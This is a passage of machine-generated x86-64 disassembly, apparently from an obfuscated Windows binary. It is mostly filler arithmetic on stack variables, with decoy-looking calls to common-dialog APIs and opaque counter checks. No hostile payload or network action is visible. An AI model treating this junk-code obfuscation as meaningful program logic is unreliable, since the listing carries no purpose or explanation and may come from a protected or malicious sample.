mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x4dd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov rcx, qword [0x1401c2b20]
mov byte [rcx], al
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2994]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb3c], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
add eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb2c]
shl eax, cl
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4f88]
movzx ecx, al
mov rax, qword [rsp + 0x4ee0]
shr rax, cl
mov qword [rsp + 0x4dd8], rax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [0x14019f008]
xor eax, ecx
mov rcx, qword [0x1401c2b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a00], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb3c], ax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov byte [rsp + 0x138], al
movsx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4f80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2994]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4910]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x137]
add eax, ecx
mov rcx, qword [0x1401c2b20]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [0x1401c1a2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0xbb]
or eax, ecx
mov byte [rsp + 0x137], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb1c]
sar eax, cl
mov word [rsp + 0xb3c], ax
movsx eax, word [rsp + 0xb24]
movsx ecx, word [0x1401c1a30]
xor eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
and eax, ecx
mov byte [rsp + 0x137], al
mov eax, dword [rsp + 0x29dc]
add eax, 0xf
mov dword [rsp + 0x29dc], eax
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [rsp + 0x2a0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5038]
mov rcx, qword [rsp + 0x4f88]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c2b10], rax
mov rax, qword [rsp + 0x4ff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x299c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb3c]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x5010]
mov word [rcx], ax
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x5028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5030]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
cmp dword [rsp + 0x29dc], 0x8a75
jne 0x14005eb88
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4910]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4f70]
mov rdx, qword [rsp + 0x4d70]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x14005f187
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2988], eax
movsx eax, word [rsp + 0xb38]
movsx ecx, word [rsp + 0xb20]
sar eax, cl
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a5c]
shl eax, cl
mov rcx, qword [rsp + 0x4ff0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ad0]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [str.3__nS_G], al
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4910], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0x136], al
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x29e4]
shl eax, cl
mov dword [0x1401c1a2c], eax
mov eax, dword [rsp + 0x26f8]
mov rcx, qword [rsp + 0x4f80]
mov qword [rsp + 0x5040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5040]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
xor eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
or eax, ecx
mov byte [rsp + 0x134], al
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb38]
sub eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb3c]
and eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x26f8], eax
mov eax, dword [rsp + 0x2a0c]
mov dword [rsp + 0x2b0c], eax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov qword [0x1401c2b10], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb3c]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
mov rax, qword [rsp + 0x5030]
movzx eax, byte [rax]
mov rcx, qword [0x1401c2b20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ee0]
mov rcx, qword [rsp + 0x4dd8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x4d90]
mov qword [rsp + 0x5048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5048]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [rsp + 0x2ad0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [str.3__nS_G], al
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x5028]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x5028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0x134], al
movsx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b20]
sub eax, 0x23
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee0]
mov rcx, qword [rsp + 0x4f88]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2994], eax
cmp dword [rsp + 0x2b20], 0xc5b4
ja 0x14005f1c3
movzx eax, byte [rsp + 0x135]
mov byte [rsp + 0x2b28], al
cmp byte [rsp + 0x2b28], 0x2e
je 0x14005f66f
jmp 0x14005f700
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x137]
add eax, ecx
mov rcx, qword [0x1401c2b20]
mov byte [rcx], al
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb34]
xor eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sar eax, cl
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
lea rcx, [rsp + 0x154b0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
or eax, ecx
mov word [rsp + 0xb1c], ax
call fcn.140149290
nop
jmp 0x14005f7a7
lea rax, [rsp + 0x137]
mov qword [rsp + 0x5050], rax
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x5010]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb30], ax
lea rax, [rsp + 0x2a00]
mov qword [rsp + 0x5058], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4e90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4f80]
mov ecx, dword [rsp + 0x299c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2994], eax
lea rax, [rsp + 0x4d70]
mov qword [0x1401c2b28], rax
lea rax, [rsp + 0x4f88]
mov qword [rsp + 0x5060], rax
lea rax, [rsp + 0x136]
mov qword [rsp + 0x5068], rax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xb1c]
movzx edx, word [rsp + 0xb3c]
sub ecx, edx
cmp eax, ecx
je 0x14005f820
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb38]
add eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4ef8]
movzx ecx, word [rax]
call fcn.140149e50
nop
movsx eax, byte [rsp + 0x139]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
sub eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2994]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
sar eax, cl
mov byte [0x1401c2b18], al
mov eax, dword [0x1401c1a2c]
mov ecx, dword [rsp + 0x2a00]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4910]
mov rcx, qword [rsp + 0x4e68]
mov qword [rsp + 0x5070], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5070]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb3c]
and eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x137]
add eax, ecx
mov byte [rsp + 0x136], al
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5060]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c2b10], rax
mov rax, qword [rsp + 0x4f80]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fa8]
mov ecx, dword [rsp + 0x2a00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb3c]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5050]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x137], al
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5010]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a5c]
shr eax, cl
mov rcx, qword [rsp + 0x4f68]
mov dword [rcx], eax
movsx eax, word [0x1401c1a30]
movsx ecx, word [rsp + 0xb34]
and eax, ecx
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x4910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x5058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [0x1401c2b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5010]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5008]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x5060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ac4]
add eax, 0x5d
mov dword [rsp + 0x2ac4], eax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x4e90]
mov qword [rsp + 0x5078], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c2b10], rax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2a0c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5058]
mov dword [rcx], eax
cmp dword [rsp + 0x2ac4], 0x46f1
jne 0x14005f83f
mov rax, qword [rsp + 0x4ff0]
mov rcx, qword [rsp + 0x4f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x299c], eax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
shl eax, cl
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x139], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb24]
and eax, ecx
mov word [rsp + 0xb38], ax
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x134], al
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x137]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x299c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a00]
mov ecx, dword [rsp + 0x2b0c]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c1a2c], eax
mov rax, qword [rsp + 0x5060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4910], rax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x5010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
or eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2adc]
sub eax, 0xca
mov dword [rsp + 0x2adc], eax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x136]
sar eax, cl
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b0c], eax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4910]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c2b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x4ee0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4910], rax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb38], ax
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0xb28], ax
movsx eax, byte [rsp + 0x139]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb3c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x4d68]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5060]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a00]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c1a2c], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shl eax, cl
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb3c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5010]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
sar eax, cl
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4910], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c2b18]
and eax, ecx
mov byte [str.3__nS_G], al
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x29e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e30]
mov rcx, qword [rsp + 0x4ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x299c], eax
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4e80]
